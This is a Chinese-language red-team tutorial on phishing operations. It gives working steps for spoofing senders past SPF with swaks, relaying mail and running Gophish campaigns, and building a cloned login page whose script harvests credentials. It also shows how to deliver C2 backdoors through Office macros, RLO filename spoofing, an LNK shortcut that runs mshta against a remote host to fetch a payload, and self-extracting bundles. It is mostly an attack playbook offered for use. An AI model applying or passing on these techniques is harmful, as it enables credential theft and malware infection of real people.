红队APT-钓鱼手法

1、邮件钓鱼

1.1 SPF绕过

发件人策略框架(Sender Policy Framework)电子邮件认证机制
中文译为发送方策略框架,主要作用是防止伪造邮件地址。

1.2 如何判断SPF

1
2
3
4
5
6
7
8
9
dig -t txt qq.com         //linux
nslookup -type=txt qq.com //windows
"v=spf1 -all" (拒绝所有,表示这个域名不会发出邮件)
"v=spf1 +all" (接受所有)
"v=spf1 ip4:192.168.0.1/16 -all"(只允许 192.168.0.1/16 范围内的IP发送邮件)
"v=spf1 mx -all"(允许当前域名的 mx 记录对应的IP地址发送邮件)
"v=spf1 mx mx:test.example.com -all"(允许当前域名和 test.example.com 的 mx 记录对应的IP地址发送邮件)
"v=spf1 a mx ip4:173.194.72.103 -all"(允许当前域名的 a 记录和 mx 记录和一个给定的IP地址发送邮件)
"v=spf1 include:example.com -all"(采用和 example.com 一样的SPF记录)

1.3 实验1 无SPF直接伪造-Swaks

临时邮箱

https://www.moakt.com/
http://24mail.chacuo.net/
https://www.linshi-email.com/

1、检测:
1
nslookup -type=txt xxx.com
2、伪造:

swaks工具(kali自带)用于伪造邮件的发送者 以及内容信息等

1
swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "admin@qq.com" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to 邮箱

3、转发技术

目标spf

kali 发的伪造阿里云邮箱发信人 (不是官方 解析对不上 伪造封掉)

中转 (我们自己搭建的邮箱系统 发信人和解析一致)

使用网上已知的邮箱系统
1、smtp2go(速度慢但免费发送量大)
2、SendCloud(速度快但免费发送量少)
3、当然也可以自己搭建邮件服务器-Ewomail&Postfix
http://www.ewomail.com/

4、效率优化-Gophish

Gophish
1、配置发件接口(自定义)
2、配置发信模版(更逼真)
3、配置触发页面(钓鱼用)
4、配置收信人地址(批量套)
功能实现1:伪造来源发件人
功能实现2:不伪造来源发件人

1
docker pull gophish/gophish

2、搭建邮件系统

绕过SPF转发有限制

1、转发显示地址不可控

2、用到网上公开的容易封禁

2.1 自建邮件系统

Ewomail

域名:xdsec.icu
服务器:Centos7 香港服务器 开放25
配置最低:1H2G
安装参考:http://doc.ewomail.com/docs/ewomail/
注意:国内X云服务器要解封25,建议买推荐的测试使用,请勿用于非法用途!
服务器购买:https://www.wuyuidc.com/recommend/Cofex03Evihz

0、测试连通性

yum install telnet -y
telnet smtp.qq.com 25

1、修改主机
1
2
3
4
5
6
7
8
9
关闭防护:
vi /etc/sysconfig/selinux
SELINUX=enforcing 改为 SELINUX=disabled
修改主机名:
hostnamectl set-hostname mail.xdsec.icu
修改本地解析
vi /etc/hosts
127.0.0.1 mail.xdsec.icu stmp.xdsec.icu imap.xdsec.icu xdsec.icu
创建swap分区(内存超过2G,可不配置)
2、安装EW系统
1
2
3
4
5
yum -y install git
cd /root
git clone https://gitee.com/laowu5/EwoMail.git
cd /root/EwoMail/install
sh ./start.sh xdsec.icu
3、配置域名解析

http://doc.ewomail.com/docs/ewomail/main_domain
记录类型 主机记录 解析线路 记录值 MX优先级 TTL值 状态(暂停/启用)
MX @ 默认 mail.xdsec.icu 1 600 启用
CNAME pop 默认 mail.xdsec.icu 600 启用
CNAME imap 默认 mail.xdsec.icu 600 启用
CNAME smtp 默认 mail.xdsec.icu 600 启用
TXT @ 默认 v=spf1 ip4:103.97.200.62 -all 600 启用
A mail 默认 103.97.200.62 600 启用
A @ 默认 103.97.200.62 600 启用

4、登录后台添加邮箱用户

8000端口:即WebMail页面
8010端口:即邮件管理后台
http://xx.xx.xx.xx:8010/
默认账号:admin
默认密码:ewomail123

5、登录WebMail测试发信

http://xx.xx.xx.xx:8080/

2、网页钓鱼:

邮件中或其他方式配合网页钓鱼,以自行搭建的网页冒充真实站点,通过诱使及引导让受害者下载后门文件或登录自身用户凭据,从而获取目标相关资产信息或权限。

1、下载后门上线控制受害者

2、网页用户登录 窃取劫持用户(常见)

登录方式:

1、二维码

2、验证码方式

3、用户密码方式

​ 用户或密码采用的加密传输

1.1 钓鱼工具

goblin 直接在cmd中运行goblin.exe 等待下载完成。

生成goblin.yaml文件,其中有配置的端口信息对应的网页,在Plugin配置项中对应名字为一个yaml配置文件,可以在里面配置xss挟持

github部署对应版本

读取access.log文件,其中包含了劫取到的信息

3、手工演示:网页另存为
上手容易,需要代码开发技能

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
action="post.php"

<script>
$(document).ready(function() {
    // 监听登录按钮点击事件
    $('#loginsubmit').click(function(event) {
        event.preventDefault(); // 阻止默认的提交行为
    // 获取用户名和密码
    var username = $('#loginname').val();
    var password = $('#nloginpwd').val();

    // 发送 AJAX 请求到 post.php
    $.post('post.php', { loginname: username, nloginpwd: password }, function(response) {
        // 处理响应,比如根据返回的结果进行页面跳转或显示错误信息
        console.log(response); // 输出 post.php 返回的信息
    });
	});
});
</script>

4、二维码
自己访问的二维码同步到钓鱼页面上(异步调用)

3、文档钓鱼

3.1 Office宏利用

使用c2来生成一个office的宏代码

新建一个word文档,选择开发工具,然后点击宏按钮,新建一个宏,宏的位置选择当前创建的这个文档,点击创建

将我们的宏代码复制进去!会弹出提示是否继续保存为未启用的宏文档,选择否,将保存类型改为启用宏的word文档或者word97-2003文档(.docm、.doc)

运行这个文件,发现上线了,

文件内容模式

docx-doc&docm
xlsx-xls&xlsm
pptx-ppt&pptm
老版本:97-2003 0ffice默认是支持宏代码运行
新版本:启动宏的格式,一般就是在后缀加上M
-文件模版模式
模版-启动模版宏
dotx-dot dotm
potx-pot potm
xlst-xlt xltm

4、后缀伪装

RLO后缀

命令-插入Unicode字符->RLO模式

比如我们需要将一个后门修改为jpg格式的后门程序,我们反着写gpj,将光标放在g前面,右键选择插入Unicode控制字符,RLO格式

发现后缀改变了,点击依然是一个exe程序执行!

5、LNK快捷方式:

1、生成:通过cs生成Hta文档

2、上传:通过cs 站点管理的文件托管,托管生成的hta文档

3、命令:后门命令 C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext

4、伪装:创建一个快捷方式,位置指向-> C:\Windows\System32\

5、修改:右键修改快捷方式的属性,

​ -将起始位置替换C:\Windows\System32

​ -目标替换为 mshta.exe http://xx.xx.xx.xx:xx/x.ext

​ -并且更换一个图标进行伪装

###6、自解压文件:

安装包&C2后门
1、打包勾选SFX
2、Advanced设置路径
3、Setup设置前后执行
4、Modes设置显示或隐藏
5、Update设置覆盖或更新
6、配合RLO将EXE伪装ZIP压缩

###7、捆绑打包文件:

自带:IExpress
第三方:捆绑器